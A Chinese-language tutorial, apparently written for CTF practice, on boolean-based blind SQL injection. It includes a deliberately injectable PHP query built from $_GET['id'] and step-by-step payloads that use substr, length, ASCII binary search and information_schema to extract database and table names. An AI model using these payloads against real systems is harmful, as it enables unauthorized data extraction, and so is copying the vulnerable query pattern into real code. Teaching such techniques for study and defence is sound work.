# 判斷 database 名稱的長度,假設名稱為 CTF (長度為3)
<原SQL語法> and length(database())>=1--
<原SQL語法> and length(database())>=2--
<原SQL語法> and length(database())>=3--
# 由於 length(CTF) 沒有大於 4,回傳 False,可得知database 名稱長度為 3
<原SQL語法> and length(database())>=4--
# 判斷 database 名稱,假設名稱為 CTF
# 我們SQL語法取名稱第一個字,判斷是否為A
<原SQL語法> and substr(database(),1,1)='A'--
<原SQL語法> and substr(database(),1,1)='B'--
# 由於 C = 'C' 回傳 True,可得知 database 名稱第一個字為 C
<原SQL語法> and substr(database(),1,1)='C'--
# 若我們已經得知 database 名稱為 CTF
# 此時我們要找出 CTF database 中的每個 table 名稱
# 求 CTF 中第一個 table 的第一個字是否為 a
<原SQL語法> substr((select table_name from information_schema.tables where table_schema='CTF' limit 0,1),1,1)='a'
# 求 CTF 中第二個 table 的第一個字是否為 a
<原SQL語法> substr((select table_name from information_schema.tables where table_schema='CTF' limit 1,1),1,1)='a'
參考資料:https://blog.csdn.net/SouthWind0/article/details/82917798
由於是透過控制 True / False 來使頁面發生變化,從而洩露資料,我們要先確認可以控制這個 True / False 變化。
以下方 PHP 為例,在 User 存在時會顯示 User exist
,而不存在時顯示 Not found
:
<?php
$mysqli = new mysqli(...);
$query = "SELECT * FROM `User` WHERE `id` = {$_GET['id']}";
$result = $mysqli->query($query);
if($result->num_rows === 1) echo("User exists.");
else echo("Not found.");
假設原始 SQL 如下時,頁面顯示 User exists
:
# true
SELECT * FROM `User` WHERE `id` = 1
我們可以構建如下的 SQL 來測試其存在 Boolean-based SQL Injection:
# true
SELECT * FROM `User` WHERE `id` = 1 AND 2 < 3
⇒ 此時頁面顯示 User exists
# false
SELECT * FROM `User` WHERE `id` = 1 AND 2 > 3
⇒ 此時頁面顯示 Not found
由於原始 SQL 為真,因此需要搭配 AND
進行注入,反之,若原始 SQL 為 false,需要搭配 OR
進行注入,例如:
# 原始 SQL: false
SELECT * FROM `User` WHERE `id` = 1
# true
SELECT * FROM `User` WHERE `id` = 1 OR 2 < 3
# false
SELECT * FROM `User` WHERE `id` = 1 OR 2 > 3
當可控制 True / False 後,我們便可以利用其洩露資料,以昨天提過的 information_schema
為例:
SELECT * FROM `User` WHERE `id` = 1
AND **SUBSTR((**
SELECT GROUP_CONCAT(`SCHEMA_NAME`)
FROM `information_schema`.`schemata`
), 1, 1
) = 'a'
GROUP_CONCAT(
SCHEMA_NAME)
: GROUP_CONCAT
可以將所有 row 的資料串接起來,變成一筆資料,就不用一筆一筆撈。此處是把所有資料庫名稱串接成一個長字串。SUBSTR(..., 1, 1)
: 用來取子字串的函數,此處從第 1 個字元開始,取 1 個字元。用上述的方法可以辨別出第一個字元是否為 a
,如果是,則頁面出現 User exists
,反之出現 Not found
。於是我們可以用爆搜所有字元的方式,找出資料庫名稱的第一個字元,接著調整 SUBSTR
的參數,取第 2 個字元,繼續爆搜直到得出所有字元。
為了提升效率,通常會採用二分搜尋的方式,我們再將上述的 SQL 調整為如下形式:
SELECT * FROM `User` WHERE `id` = 1
AND **ASCII(SUBSTR((**
SELECT GROUP_CONCAT(`SCHEMA_NAME`)
FROM `information_schema`.`schemata`
), 1, 1
)) > 80
ASCII
: 將字元轉為 ASCII透過將字元轉為 ASCII ,就能夠以數字對字元進行二分搜尋。